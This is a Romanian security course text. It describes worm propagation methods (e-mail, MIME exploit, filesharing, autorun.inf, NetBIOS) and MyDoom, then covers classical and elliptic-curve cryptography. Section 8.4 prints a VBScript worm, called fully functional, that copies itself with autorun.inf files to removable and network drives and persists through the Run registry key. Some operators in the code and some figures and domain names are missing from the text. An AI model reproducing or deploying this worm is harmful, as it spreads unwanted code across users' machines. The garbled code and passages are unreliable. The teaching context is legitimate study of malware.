Metodele moderne de atac presupun lansarea in circulatie a unor „viermi”, programe asemanatoare cu virusii, dar care spre deosebire de acestia nu pun accentul pe tehnici de inmultire cat mai mare in calculatorul gazda ci pe o propagare cat mai rapida in retea. Un vierme este un program care are 2 roluri : sa lase un „dropper” sau o copie a sa in calculatorul gazda si sa circule mai departe in retea, spre cat mai multe calculatoare. Circulatia sa este extrem de rapida, iar un vierme bine construit poate iesi, chiar, din mediul de retea si circula pe unitati mobile de transfer de date (flash-uri, cd-rom-uri, hard-disk-uri externe, etc.). Odata executat intr-un calculator, primul lucru pe care trebuie sa-l faca un vierme e sa asigure executia ori a unei copii ale sale ori a unui „dropper” (program care descarca de pe un anume site si executa in calculatorul gazda programe care au ca scop preluarea controlulul de catre un utilizator clandestin). Odata realizat acest pas, viermele trebuie sa circule mai departe, asa ca va incerca una din multele metode disponibile :

• Transmisia ca atasament prin e-mail: Autotransmisia prin atasament de e-mail se poate face in 2 feluri : prin atasament simplu sau prin ceea ce se numeste „MIME Exploit”

1. Atasamentele simple sunt copii ale virusului, trimise in mesaje se obicei care folosesc texte ce trezesc curiozitatea sau stimuleaza utilizatorul in a deschide atasementul. De multe ori este folosita si tehnica extensiilor duble (descrisa pe larg in primul capitol) pentru a induce confuzie si pentru a masca adevarata extensie de executabil a programului. Pntru a trece de antivirusi, atasamentul poate fi trimis intr-o arhiva, pe motiv ca unii antivirusi nu scaneaza arhivele. Cu toate astea, multi antivirusi au implementat scanarea in arhive, asa ca s-a dezvoltat tehnica „dublei arhivari” – adica arhivarea (inca o data) a arhivei fisierului executabil. Astfel, antivirusul care scaneaza o arhiva vede in ea tot o arhiva, deci nimic suspicios. Unele versiuni de antivirusi mai puternici au inceput sa implementeze scanarea pana la un anumit numar de nivele in arhiva, numar predefinit de utilizator.

2. MIME Exploits sunt atasamente care folosesc o vulnerabilitate a Internet Explorer-ului si a clientului de mail cu care imparte aceeasi platforma, Microsoft Outlook (implicit si Outlook Express, fratiorul mai mic al lui Outlook).

Tehnologia MIME (Multi-purpose Internet Mail Extension) este folosita pentru a insera un fisier oarecare intr-un fisier HTML. Fisierul de inserat este codat din binar intr-o succesiune de caractere alfanumerice, si scris ca un sir lung de caractere la sfarsit de fisier HTML, putand fi reconstituit exact din acesta si afisat in pagina in momentul incarcarii acesteia in browser). Codarea MIME consta intr-un header care spune browserului ce tip de fisier e codat si sirul MIME in sine, reprezentand datele propriu-zise ale fisierului. In Internet Explorer daca se decodeaza un fisier executabil si se foloseste un header MIME incorect se produce o eroare a carei consecinta este (!!!) executia automata si neconditionata pe masina de calcul a fisierului care a fost codat. Header-ul nu influenteaza decodarea corecta a fisierului, deci acesta va fi decodat corect si executat imediat ce s-a deschis pagina, utilizatorul neavand nici un fel de control asupra acestui sir de evenimente. Astfel, e-mail-urile in format HTML pot contine astfel de „surprize” iar sipla lor previzualizare in Outlook poate duce la lansarea pe calculator a viermelui astfel propagat.

• Transmisia prin retele de filesharing: Ca si in cazul atasamentului simplu, aici se foloseste tehnica dublei extensii (vezi cap. 1). Doar ca, nu numai extensia e schimbata, ci si numele fisierului este modificat. Viermele cauta in calculator fisiere de larg interes (cum ar fi cele *.mp3), retine numele si creaza cate o copie cu numele fisierului gasit si cu extensia .exe la sfarsit.

Exemplu :

Nume fisier : The Beatles – Girl.mp3

Nume vierme : The Beatles – Girl.mp3.exe

Fisierele astfel create seamana ca denumire cu fisierele originale, sunt mici si usor de descarcat de pe net si, facand uz de curiozitatea, graba si chiar nestiinta utilizatorului se executa nestavilit pe calculatorul gazda prin „dublu click”.

• Transmisia prin unitati mobile de date: In aceasta tehnica se face uz de vulnerabilitatea Windows de a executa programele specificate in descriptorul de autoexecutie „autorun.inf” aflat in radacina unui drive oarecare. Acest „autorun.inf” avea nobila intentie de a lansa automat programe care veneau pe CD-Rom, reducand unele proceduri la „inseratul cd-ului in unitate” si privitul prezentarii, fara a mai apasa un nici un buton. Din pacate, Windows citeste informatiile din acest fisier „autorun.inf” si de pe orice alta unitate montata pe sistem, executand absolut orice program e specificat in sectiunea „[autorun]”. Astfel, un vierme poate sa lase copii ale sale in radacinilor unitatilor mobile de date conectate la calculator, asigurand prin aceasta – pe langa executia sa constanta pe sistemul respectiv la fiecare accesare a unitatilor fixe de date – executia sa pe orice alt calculator cu Windows pe care e accesata unitatea.

• Transmisia prin retele: La capitolul transmisie prin retele intra atat transmisia pe e-mail cat si cea pe filesharing; dar, un vierme inteligent se poate transmite si prin retele TCP/IP prin atacuri NetBIOS (descrise in capitolul 1) si prin metoda creerii unui fisier „autorun.inf” pe o unitate de retea, metoda descrisa in paragraful anterior. La transmisia prin e-mail, aproape toti viermii au incluse servere proprii de SMTP pentru a-si trimite singuri e-mailurile si a nu mai cauta servere „open-relay”, care mai pot avea si programe anti-virus instalate.

8.4 Exemplu de vierme functional, scris in VBScript

Exemplul ce urmeaza este un vierme perfect functional, care modifica titlul ferestrei de Internet Explorer in numele „Iancu Andrei”. Ca si orice vierme definit mai sus, acesta se propaga in retea prin metodele susmentionate, mai putin prin e-mail, fiind imposibil de implementat un server SMTP in VBScript. Cu toate astea, chiar si cu un limbaj limitat, acest program este cod executabil pe orice sistem de calcul care ruleaza orice versiune de la Windows 95 in sus.

on error resume next

dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd

atr = "[autorun]" & vbcrlf & "shellexecute=wscript.exe msdos.sys.vbs"

set fs = createobject("Scripting.FileSystemObject")

set mf = fs.getfile(Wscript.ScriptFullname)

dim text,size

size = mf.size

check = mf.drive.drivetype

set text=mf.openastextstream(1,-2)

do while not text.atendofstream

mysource=mysource & text.readline

mysource=mysource & vbcrlf

loop

do

Set winpath = fs.getspecialfolder(0)

set tf = fs.getfile(winpath & "\msdos.sys.vbs")

tf.attributes = 32

set tf=fs.createtextfile(winpath & "\msdos.sys.vbs",2,true)

tf.write mysource

tf.close

set tf = fs.getfile(winpath & "\msdos.sys.vbs")

tf.attributes = 39

for each flashdrive in fs.drives

If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path "A:" then

set tf=fs.getfile(flashdrive.path &"\msdos.sys.vbs")

tf.attributes =32

set tf=fs.createtextfile(flashdrive.path &"\msdos.sys.vbs",2,true)

tf.write mysource

tf.close

set tf=fs.getfile(flashdrive.path &"\msdos.sys.vbs")

tf.attributes =39

set tf =fs.getfile(flashdrive.path &"\autorun.inf")

tf.attributes = 32

set tf=fs.createtextfile(flashdrive.path &"\autorun.inf",2,true)

tf.write atr

tf.close

set tf =fs.getfile(flashdrive.path &"\autorun.inf")

tf.attributes=39

end if

next

set rg = createobject("WScript.Shell")

rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL",winpath&"\msdos.sys.vbs"

rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title","Iancu Andrei"

rg.regwrite "HKCR\vbsfile\DefaultIcon","shell32.dll,2"

if check 1 then

Wscript.sleep 200000

end if

loop while check 1

set sd = createobject("Wscript.shell")

sd.run winpath&"\explorer.exe /e,/select, "&Wscript.ScriptFullname

Viermele de mai sus, scris intr-un fisier text are numai 3,74 kB. Daca i se adauga extensia „.VBS” devine executabil. Lansarea sa pe calculator va avea ca prin punct camuflarea sa sub numele MSDOS.SYS.vbs, ancorarea sa in sistem prin plasarea unor copii ale sale in radacina fiecarui disc montat, configurarea autoexecutiei cu „autorun.inf”, asigurarea executiei cu fiecare deschidere a unei instante de Explorer si cu terminarea fiecarei secvente de boot a Windows si plasarea numelui „Iancu Andrei” in fiecare fereastra de Internet Explorer.

Dupa cum se observa, nu e necesara decat o documentatie asupra cheilor de registru si a optiunilor de lansare a „explorer.exe”, restul fiind cod banal de Visual Basic. Propagarea acestui programel e asigurata prin intermediul flash-drive-urilor conectate la calculatorul infectat si a unitatilor de disc montate in Windows prin retea.

8.5 Viermele MyDoom

Acest vierme a fost un program „pionier” pentru vremea sa. A folosit in premiera niste tehnici inteligente de transmisie prin e-mail : adresarea de mesaje utilizatorului in limba specifica domeniului pe care persoana vizata avea adresa de mail. Mail-urile trimise de MyDoom apareau ca niste mesaje de eroare, care afirmau ca e-mail-ul nu a ajuns la destinatie si a fost returnat expeditorului. Corpurile mesajelor fusesera traduse in Engleza, Franceza, Rusa, Romana, Spaniola si Germana. Viermele a avut o propagare puternica deoarece s-a folosit de adresele de e-mail gasite in calculatorul tinta ca si destinatari, fiecare primind de la 4 la 5 mailuri la fiecare 4 ore, continand virusul sub diverse forme de atasament (executabil arhivat, arhiva in arhiva, executabilul simplu, extensie dubla, vulnerabilitate MIME).

Folosindu-se de un server SMTP propriu, viermele s-a transmis rapid si cu ajutorul SPOOFING-ului (falsificarea adresei expeditorului), o tehnica banala dar putin cunoscuta in lumea utilizatorilor de calculator.

Calculatorul pe care era executat viermele era „inzestrat” cu un server clandestin de backdoor care functiona cu protocol TCP pe portul 3127. Server-ul clandestin era de fapt, un DLL ce purta mereu numele SHIMGAPI.DLL si care era lansat de catre vierme cu ajutorul utilitarului RUNDLL32.EXE ca proces fiu al EXPLORER.EXE.

Viermele a fost folosit pentru un atac DoS deosebit de puternic (peste 1 milion de calculatoare ce au atacat simultan) asupra site-ului , fortandu-i sa-si schimbe domeniul in . Atacul a fost cu atat mai puternic cu cat calculatoarele au fost sincronizate sa atace in acelasi timp. De asemenea, alte uzuri de la sine intelese au fost de a trimite SPAM prin calculatoarele subjugate prin acest vierme, de a-l raspandi prin e-mail si de a ataca site-ul Microsoft. Versiuni ulterioare ale viermelui au scos din functiune site-ul Google si au incetinit puternic site-uri ale altor motoare de cautare.

O buna cunoastere a reactiilor majoritatii la un banal mail cu atasament, a vulnerabilitatilor Windows si o solida cunostinta de constructie a unui motor intern de cautare a adreselor de mail (deosebit de eficient) si un puternic server SMTP au facut

dintr-un fisier de numai 34 kB o adevarata arma de lupta.

Capitolul 9

Criptografia traditionala: Algoritmi criptografici cu cheie secreta, Principii practice de criptare.

RADULESCU ELENA NICOLETA

9.1 Introducere

Criptografia este stiinta scrierilor secrete. Ea sta la baza multor servicii si mecanisme de securitate folosite in internet, folosind metode matematice pentru transformarea datelor, in intentia de a ascunde continutul lor sau de a le proteja impotriva modificarii. Criptografia are o lunga istorie, confidentialitatea comunicarii fiind o cerinta a tuturor timpurilor. Daca ar trebui sa alegem un singur exemplu al criptografiei "clasice", acesta ar fi cifrul lui Cezar, nu atat datorita celebritatii imparatului roman de care se leaga folosirea lui, ci pentru ca principiul sau de baza, al substitutiei, s-a mentinut nealterat aproape doua milenii.

Multa vreme, eforturile criptografilor au fost dirijate spre intarirea cifrurilor prin complicarea algoritmului, combinand substitutii si transpozitii asupra unor simboluri sau asupra unor blocuri (grupe de simboluri). Istoria moderna a criptografiei cunoaste numeroase inovatii in aceasta privinta. Doua sunt elementele ce au marcat insa cotitura semnificativa in dezvoltarea metodelor criptografice.

Primul este legat de dezvoltarea retelelor de calculatoare, al caror stimulent extraordinar s-a manifestat atat prin presiunea exercitata de tot mai multi utilizatori (a caror dorinta obiectiva este pastrarea secretului si a sigurantei asupra postei electronice private, a transferului electronic de fonduri si a altor aplicatii) cat si prin potentarea gamei de instrumente folosite efectiv in executia algoritmilor de cifrare. Utilizarea calculatoarelor electronice a permis folosirea unor chei de dimensiuni mai mari, sporindu-se atfel rezistenta la atacuri criptoanalitice. Cand cheia secreta are o dimeniune convenabila si este suficient de frecvent schimbata, devine practic imposibila spargerea cifrului, chiar daca se cunoaste algoritmul de cifrare. Pe aceasta idee se bazeaza si standardul american de cifrare a datelor - DES (Data Encryption Standard) larg utilizat de guvernul SUA si de diverse companii internationale. Propus intr-o forma initiala de IBM in 1975, DES a rezistat evaluarii facute de "spargatorii de cifruri" de la U.S. National Security Agency (NSA), care au recomandat doar reproiectarea anumitor componente (casete de substitutie). DES a fost adoptat ca standard federal in 1977 si a fost folosit intens datorita performantelor de viteza atinse la cifrare (peste 100 de milioane de biti/secunda). Din pacate, nu se stie cu certitudine daca cei de la NSA sau de la vreo alta organizatie au reusit sau nu sa sparga DES. Experienta a aratat insa ca orice schema criptografica are o viata limitata si ca avansul tehnologic reduce, mai devreme sau mai tarziu, securitatea furnizata de ea.

Al doilea moment important in evolutia criptografiei moderne l-a constituit adoptarea unui principiu diferit de acela al cifrarii simetrice. Whitfield Diffie si Martin Hellman, cercetatori la Univeritatea Stanford din California, prin articolul "New Directions in Criptography", publicat in 1976 in revista IEEE Transactions on Information Theory, au pus bazele "criptografiei asimetrice" cu chei publice. In locul unei singure chei secrete, criptografia asimetrica foloseste doua chei diferite, una pentru cifrare, alta pentru descifrare. Deoarece este imposibila deducerea unei chei din cealalta, una din chei este facuta publica, fiind pusa la indemana oricui doreste sa transmita un mesaj cifrat. Doar destinatarul, care detine cea de-a doua cheie, poate descifra si utiliza mesajul. Tehnica cheilor publice poate fi folosita si pentru autentificarea mesajelor, fapt care i-a sporit popularitatea. Nu este, deci, de mirare ca guvernul SUA a initiat adoptarea unui standard de semnatura digitala bazat pe conceptul de cheie publica. Acest demers a generat controverse, soldate chiar cu acuze intre organizatiile implicate. Pana in decembrie 1990, Institutul National de Standarde si Tehnologie ai SUA (NIST) recomanda pentru adoptare ca standard metoda RSA, prezenta deja in industrie. Dar noua luni mai tirziu, in august 1991, NIST a avansat un cu totul alt algoritm, bazat pe o metoda cu chei publice, publicata de Taher El Gamal in 1986. Noua propunere, denumita DSS (Digital Signature Standard), a fost dezvoltata de Agentia de Securitate Nationala a SUA (NSA). Ea a dezamagit nu datorita performantelor, ci "gratie" autorului, care este nu doar proiectant, dar si spargator de cifruri, ceea ce a starnit, inevitabil, suspiciuni. Un cifru se defineste ca transformarea unui mesaj clar sau text clar in mesaj cifrat ori criptograma. Procesul de transformare a textului clar in text cifrat se numeste cifrare sau criptare, iar transformarea inversa, a criptogramei in text clar, are denumirea de descifrare sau decriptare.

Atat cifrarea cat si descifrarea sunt controlate de catre una sau mai multe chei criptografice. Exista doua tipuri de sisteme criptografice:

• simetrice (cu cheie secreta) care folosesc aceeasi cheie, atat la cifrarea cat si la descifrarea mesajelor.

• asimetrice (cu chei publice) care folosesc chei distincte de cifrare si descifrare (dar legate una de alta). Una din chei este tinuta secreta si este cunoscuta doar de proprietarul ei. A doua cheie (perechea ei) este facuta publica, de unde si numele de criptografie cu cheie publica.[1]

9.2 Terminologie de baza

Criptografia (cryptography) este stiinta creerii si mentinerii mesajelor secrete, in sensul imposibilitatii citirii lor de catre neautorizati (stiinta mesajelor secrete).

Mesaj (text) in clar (M) (plain/clear text) este mesajul ce urmeaza a fi secretizat; in criptografie M se mai numeste scriere chiar daca este un document de alta natura, de exemplu voce, imagine, date.

Mesaj cifrat (criptograma) (C) (cipher text) este mesajul secretizat, inaccesibil neavizatilor.

Criptare/cifrare (F) (encryption/enciphering) este procedeul de “ascundere” a unui

mesaj in clar in mesajul secretizat.

E(M)=C

Decriptare/descifrare (D) (decryption/deciphering) este procedeul de regasire a

mesajului in clar M din mesajul cifrat C.

D(C)= D(E(M))= M

Observatii:

• decriptarea este operatia inversa criptarii;

• ISO 7498-2 foloseste termenii de cifrare/descifrare (encipher/decipher), [Schneier(1996)], probabil pentru ca primul set de termeni aminteste de morti (cripta).

Criptograf (cryptographer) este persoana ce se ocupa cu criptografia.

Algoritm criptografic/cifru (cryptographic algorithm/cipher) este functia sau

functiile matematice utilizate pentru criptare/decriptare; in general exista doua functii: una

pentru criptare (E) si alta pentru decriptare (D).

Cheia criptografica (K - key) este marimea (in majoritatea cazurilor secreta)

necesara realizarii criptarii si decriptarii.

Criptosistem (cryptosystern,) este sistemul format din:

• algoritm

• toate mesajele in clar (M)

• toate textele cifrate (C)

• toate cheile (K).

Criptanaliza (cryptanalysis) este stiinta spargerii cifrurilor, deci a obtinerii mesajelor in clar (M) sau a cheii (K) din mesajul cifrat (C).

Criptanalist (cryptanalyst) este persoana care se ocupa cu criptanaliza.

Atac (attack) este incercarea/tentativa criptanalitica.

Criptologie (cryptology) este stiinta care se ocupa atat de criptografie cat si de criptanaliza.

Criptolog (cryptologist) este persoana care se ocupa cu criptologia.

Steganografia (steganography) este tehnica ascunderii mesajelor secrete in alte mesaje, in asa fel incat existenta mesajelor secrete sa fie invizibila.

9.3 Securitatea algoritmilor

In secolul al XIX-lea, olandezul A. Kerckhoff a enuntat conceptul fundamental al criptanalizei: secretul se rezuma in intregime la cheie, algoritmul criptografic si implementarea considerandu-se cunoscute.

Diferitii algoritmi pot asigura diferite grade de securitate, functie de dificultatea cu care pot fi sparti [Menezes(1997)], [Schneier(1996)]:

• daca costul spargerii unui algoritm este mai mare decat valoarea datelor criptate, algoritmul este probabil sigur (PS);

• daca timpul necesar spargerii este mai mare decat valabilitatea datelor criptate, algoritmul este PS;

• daca multimea datelor necesare spargerii este mai mare decat multimea datelor criptate la un moment dat de o cheie, algoritmul este PS.

Lars Knudsen - in teza de doctorat sustinuta in 1994 [Menezes] - a clasificat diferitele

categorii de spargere a unui algoritm in ordine descrescatoare a securitatii:

• Spargere totala (total break) / securitate zero: un criptanalist gaseste cheia, deci orice criptograma va fi decriptata: Dk(C) = M;

• Deductie globala (global deduction): criptanalistul gaseste un algonitm alternativ echivalent cu Dk (C) fara a cunoaste cheia k;

• Deductie locala (local deduction): un criptanalist gaseste textul in clar al unui text cifrat interceptat ;

• Deductia informationala (information deduction): criptanalistul capata unele informatii privitor la cheie sau la textul in clar (de exemplu cativa biti ai cheii, anumite informatii privitoare la M, etc.) ;

• Algoritm computational puternic (computational strong) este algoritmul care nu poate fi spart cu resursele existente, atat la momentul curent, cat si intrun viitor predictibil ;

• Algoritm neconditionat sigur (unconditional secure) este algoritmul pentru care indiferent cat text cifrat are criptanalistul, informatia nu este suficienta pentru a deduce textul in clar. Privitor la acesti din urma termeni trebuie atentionat ca sunt extrem de expusi interpretarilor.

Observatii:

• Doar cheia de unica folosinta (one time pad), inventata in 1917 de Major J. Maubergue si Gilbert Vernon, avand aceeasi lungime cu a textului in clar, este de nespart ;

• Toti ceilalti algoritmi pot fi sparti cu ajutorul unui atac cu text cifrat, prin incercarea tuturor cheilor, pana cand textul descifrat are sens. Acest atac se numeste atac prin forta bruta (brute force attack).

Complexitatea unui atac (complexity) se manifesta in mai multe feluri:

• Complexitatea datetor (data complexity) este volumul de date necesar pentru atac;

• Complexitatea procesarii / factorul de lucru (processing complexity / work factor) este timpul necesar realizarii atacului;

• Complexitatea stocarii (storage complexity) este cantitatea de memorie necesara atacului.

Regula care se impune este: Complexitatea unui atac = max {a, b, c}.

Exemplu: complexitatea de 2128 indica 2128 operatii necesare spargerii cifrului (de obicei aceasta reprezinta complexitatea atacului prin forta bruta, deci in cazul unui algoritm neconditionat sigur, 128 indicand lungimea cheii in biti).

Observatie: Multe atacuri se preteaza paralelismului, deci complexitatea scade fata

de regula anterior enuntata.

9.4 Protocoale pentru comunicatii criptografice simetrice

Un sistem criptografic simetric - care evidentiaza si principalele atacuri - este dat in

figura de mai jos si are ca si participanti pe:

A, B - parteneri ai protocolului;

F, H - atacator pasiv (filaj) respectiv activ (hot);

Un protocol de comunicatie confidentiala intre A si B se desfasoara dupa cum urmeaza:

(1) A si B cad de comun acord asupra unui criptosistem simetric;

(2) A si B aleg cheia k (secreta), cea mai buna fiind cheia de unica folosinta (one time pad) pentru o comunicatie;

(3) A trimite lui B mesajul M criptat cu cheia k:

C = Ek (M)

(4) B decripteaza mesajul criptat primit de la A, utilizand aceeasi cheie k :

Dk(C)= Dk(Ek(M))=M

Se pune intrebarea: ce pot face atacatorii in acest caz?

Rolul atacatoruiui pasiv (F):

• el urmareste derularea pasului (3), in vederea criptanalizei (este un atac asupra textului cifrat); daca algoritmul rezista la acest atac, F nu poate face criptanaliza decat prin “atacul fortei brute”, deci cu o cheie bine aleasa si calungime, F nu va afla nimic.

Rolul atacatorului activ (H):

• poate incerca intreruperea comunicatiei in pasul (3);

• poate inlocui mesajul lui A (M) cu mesajul sau M’ daca afla cheia k prin criptanaliza ;

• daca nu afla cheia k, va putea inlocui C cu

C’ = Ek’(M’)

ceea ce va face ca B sa decripteze un mesaj lipsit de sens si-l va determina pe B sa traga concluzia ca A (sau sistemul) are probleme serioase decomunicare.

Din examinarea de mai sus, putem trage concluzia ca pentru sisteme criptografice

simetrice problemele sunt:

• cheia k trebuie distribuita in secret, ceea ce pentru sisteme mari constituie o problema deosebita;

• in cazul compromiterii cheii prin furt sau criptanaliza, sistemul este compromis;

• daca se utilizeaza chei diferite pentru fiecare pereche de utilizatori, numarul cheilor creste rapid cu numarul utilizatorilor (n):

Cn2 = n(n-1)/2

9.5 Algoritmi simetrici

Algoritmii simetrici se clasifica in doua categorii mari: algoritmi secventiali si algoritmi bloc.

9.5.1 Algoritmi secventiali

Caracteristici:

• textul in clar M este considerat ca un sir de simboluri dintr-un alfabet A; prin

cifrare fiecare simbol aI textului in clar este transformat intr-un alt simbol al

mesajului criptat, deci la iesire se obtine un sir de simboluri ale criptogramei.

Notam:

• A - alfabetul mesajului in clar;

• C - alfabetul mesajului cifrat;

• S - cifrarea secventiala: s: A C.

Observatii:

• daca A = C = { 0,1 }, nu se recomanda criptarea;

• cifrurile secventiale sunt o varianta moderna a cifrului Vigenere;

• cheia folosita in cazul acestor cifruri K este generata de un RDR (starea initiala si polinomul generator pot fi controlate prin chei).

Criptarea consta in operatia:

Ek(M) = M[pic]K = C.

iar decriptarea se realizeaza astfel:

Dk(C) = C[pic]K = (M[pic]K)[pic]K = M

unde reprezinta suma modulo 2.

Observatie: Pentru cifruri secventiale puternice se procedeaza la schimbarea periodica a coeficientilor polinomului generator iar pe timpul pauzelor intre mesaje, se vor transmite valorile aleatoare produse de un generator de zgomot.

9.5.2 Algoritmi (cifruri) bloc

Caracteristici:

• mesajul in clar M este impartit in blocuri, de obicei de aceeasi dimensiune, fiecare bloc fiind cifrat independent;

• cifrurile bloc sunt cifruri produs iterate avand la baza substitutia si transpozitia;

• lungimile tipice ale blocurilor sunt: 32 ÷ 128 biti;

• anii de dezvoltare a cifrurilor bloc sunt anii ‘70 (La baza acestora stand lucrarile lui Shannon).

Componentele de baza ale cifrurilor bloc sunt transformarile de:

• transpozitie - cutiile P (permutare P - box).

• substitutie - cutiile S (sustitutie S - box).

Cutia P

• transformarile operate de o cutie P sunt liniare, legaturile interioare ale unei cutii P putand fi determinate prin punerea unui “1” la fiecare intrare si marcarea iesirii corespondente.

Cutia S

Cutia S consta din doua convertoare (unul binar-zecimal(CBZ)) si al doilea zecimal

- binar (CZB)) precum si dintr-o cutie P.

• intr-o cutie S se fac atat transformari liniare (prin P) cat si neliniare (prin CBZ si CZB);

• Numarul de permutari posibile pentru o cutie S cu n intrari este (2n)!

Un cifru bloc reprezinta o alternanta de cutii P si S.

Caracteristici:

• cutiile P sunt fixe (fara cheie) si prin permutarea pe care o fac realizeaza “difuzia”;

• cutiile S primesc la intrare atat informatia ( 4 x 4 ) cat si cheia de cifrare (K’- 8, K’’ - 8), care are rolul sa comande substitutia liniara; in acest fel cutiile S realizeaza “confuzia” : K = K’K” = 16 biti; se folosesc cate doi biti pentru fiecare cutie S, ceea ce creaza posibilitatea selectarii uneia din 4 substitutii posibile.

Aplicatiile cele mai importante sunt concretizate in cifrurile LUCIFER, IDEA si DES.

9.5.3 Cifruri bazate pe curbe eliptice

Folosirea curbelor eliptice in criptografie a fost propusa pentru prima oara in 1985 de Victor Miller, cercetator in matematica Ia IBM si, independent, de Neal Kobitz, profesor de matematica la Universitatea din Washington. Ideea de baza era folosirea grupului punctelor de pe o curba eliptica in Iocul grupului Z *p din sistemele criptografice existente. La momentul descoperirii lor, sistemele bazate pe curbe eliptice au fost considerate nepractice. De atunci insa, s-a intreprins asupra lor o cercetare aprofundata si intensa.

Securitatea sistemelor bazate pe curbe eliptice a fost studiata de-a Iungul a 12 ani de diferiti cercetatori, printre care: L. Adleman (unul dintre autorii algoritmului RSA), J. DeMarrais, M. Huang, A. Menezes, T. Okamoto si S. Vanstone.

Recent, curbele eliptice au fost folosite pentru conceperea unor algoritmi eficienti de factorizare a intregilor si pentru demonstrarea primaritatii. Ele au fost utilizate in construirea criptosistemelor cu chei publice, in construirea generatoarelor de biti pseudoaleatoare si a permutarilor neinversabile. Curbele eliptice si-au gasit aplicabilitate si in teoria codurilor, unde au fost intrebuintate pentru obtinerea unor coduri corectoare de erori, foarte bune. Curbele eliptice au jucat un rol important si in recenta demonstratie a Ultimei Teoreme a lui Fermat.

Recentele progrese facute in factorizarea intregilor si in procesarea paralela au dat nastere la necesitatea unor chei din ce in ce mai mari pentru sistemele de criptare cu chei publice. Insa cresterea dimensiunii cheilor va face aceste sisteme cu chei publice mai lente decat sunt la momentul actual. Pentru a pune in evidenta acest aspect, iata care sunt ultimele recomandari facute de laboratoarele RSA Data Security pentru alegerea dimensiunii cheilor de cifrare RSA:

• Securitate pe termen scurt ( ex. : chei ale utilizatorului ) 768 biti

• Securitate pe termen mediu ( ex. : cheile unei organizatii ) 1024 biti

• Securitate pe termen lung ( ex.: cheile administratorului ) 2048 biti

Folosirea sistemelor de criptare bazate pe curbe eliptice permite cresterea securitatii, scazand in acelasi timp overhead-ul (supraincarcarea) si timpul de latenta.

A) Servicii de securitate oferite

Criptosistemele bazate pe curbe eliptice pot fi folosite pentru a furniza urmatoarele servicii de securitate:

• confidentialitate;

• autentificarea entitatilor;

• integritatea datelor;

• nerepudiere;

• schimb de chei autentificat.

Securitatea criptosistemelor bazate pe curbe eliptice consta in dificultatea calculului logaritmilor in campuri discrete (problema logaritmilor discreti): date fiind A (un element dintr-un camp finit) si Ax, este practic imposibil sa se calculeze x, atunci cand elementele sunt suficient de mari. De fapt, exista o multime de sisteme criptografice ce se bazeaza pe problema logaritmilor discreti in Z*p (ElGamal, algoritmul de semnatura Schnorr, algoritmul de semnatura Nyberg-Rueppel, DSA). In mod clasic, aceste sisteme au fost definite in grupul multiplicativ Z*p. Ele pot fi insa definite Ia fel de bine in orice alt grup finit, cum ar fi grupul punctelor de pe o curba eliptica.

Curbele eliptice sunt benefice in aplicatii in care:

• puterea de calcul este Iimitata (cartele inteligente, dispozitive fara fir, placi PC);

• spatiul pe circuit integrat este limitat (cartele inteligente, dispozitive fara fir, placi PC);

• este necesara viteza mare de calcul;

• se foloseste intens semnarea si verificarea semnaturii,

• mesajele semnate trebuie memorate sau transmise;

• latimea de banda este limitata (comunicatii mobile, anumite retele de calculatoare).

B) Avantaje ale curbelor eliptice

Dintre avantajele sistemelor criptografice bazate pe curbe eliptice mentionam:

• securitate crescuta: taria criptografica per bit este mult mai mare decat a oricarui alt sistem de criptare cu chei publice cunoscut la ora actuala;

• economii substantiale fata de alte criptosisteme la calcule, largimea de banda si necesitatile de memorare;

• largime de banda redusa datorita semnaturilor si certificatelor de dimensiune mica;

• viteza mare de criptare si semnare atat in implementarile software, cat si in cele hardware;

• sunt ideale pentru implementarile pe hardware de dimensiuni reduse (cum ar fi cartelele inteligente);

• criptarea si semnarea pot fi efectuate in etape separate, ceea ce simplifica problema exportului.

Aplicatii de genul transferurilor bancare sau transmisiile de date prin retele radio

(fara fir), care necesita folosirea intensiva a semnarii digitale, a autentificarii, viteza ridicata

si largime de banda limitata, vor beneficia din plin de avantajele oferite de implementarile

bazate pe conceptul curbelor eliptice.

Sistemele bazate pe curbe eliptice se pot implementa mult mai usor si eficient, atat

in hardware cat si in software. Implementarile existente la momentul actual indica faptul ca

aceste sisteme sunt, pe departe, mai eficiente decat orice alt sistem cu chei publice. In

scopul compararii puterii criptografice a sistemelor bazate pe curbe eliptice si a sistemelor

bazate pe problema factorizarii intregilor, este prezentat in continuare tabelul urmator

continand numarul de MIPS-ani (numarul de ani necesari daca se executa un milion de

instructiuni in fiecare secunda) necesari pentru fiecare.

[pic]

Tabel - Numarul de MIPS-ani

*pentru o curba eliptica cu 2m puncte, dimensiunea cheii se defineste a fi m.

Sa consideram un exemplu concret: fie E o curba eliptica peste campul F2 160.

Presupunem ca o masina ce este stimata la 1 MIPS poate efectua 40.000 de operatii, caracteristice curbei eliptice, pe secunda. Aceasta estimare este, in fond, foarte optimista (un ASIC construit de MOBIUS Encryption Technologies pentru realizarea operatiilor pentru curbe eliptice peste campul F2 155 are o frecventa a ceasului de 40 MHz si poate efectua aproximativ 40.000 operatii/sec). In acest caz, puterea necesara pentru a calcula un singur logaritm discret in E este de aproape 10 12 MIPS-ani.

Studiile intense efectuate asupra securitatii criptosistemelor cu chei publice, bazate pe punctele de pe o curba eliptica, au demonstrat ca aceste sisteme sunt adecvate marii majoritati a aplicatiilor. Un criptosistem bazat pe curbe eliptice lucrand cu chei de 160 de biti furnizeaza un nivel de securitate echivalent cu un sistem bazat pe campul Z p pe 1.024 de biti. Din acest motiv, criptosistemele bazate pe curbe eliptice furnizeaza o modalitate fezabila de implementare unui sistem de securitate de nivel inalt pe o cartela PC (PC card), pe o cartela inteligenta (smart card) sau pe dispozitivele de comunicatii mobile.

C) Descrierea algoritmului

Curbele eliptice sunt constructii matematice. O curba eliptica poate fi definita peste orice camp (de numere reale, rationale sau complexe), insa cele folosite in criptografie sunt definite, in general, peste campuri finite.

O curba eliptica, E, consta din elemente (numite puncte) de tipul (x, y) ce satisfac

ecuatia:

Y2 = x3 + ax +b mod p

(unde a si b [pic] Zp sunt constante, a.i. 4a3+27b2 [pic]0 (mod p), iar p este un numar prim) impreuna cu un element singular, notat O si numit “punctul de la infinit”. Acest punct poate fi privit intuitiv ca fiind punctul din varful si de Ia baza oricarei linii verticale.

O curba eliptica E are o structura de grup abelian impreuna cu adunarea. Adunarea a doua puncte de pe o curba eliptica este definita in concordanta cu o multime simpla de reguli.

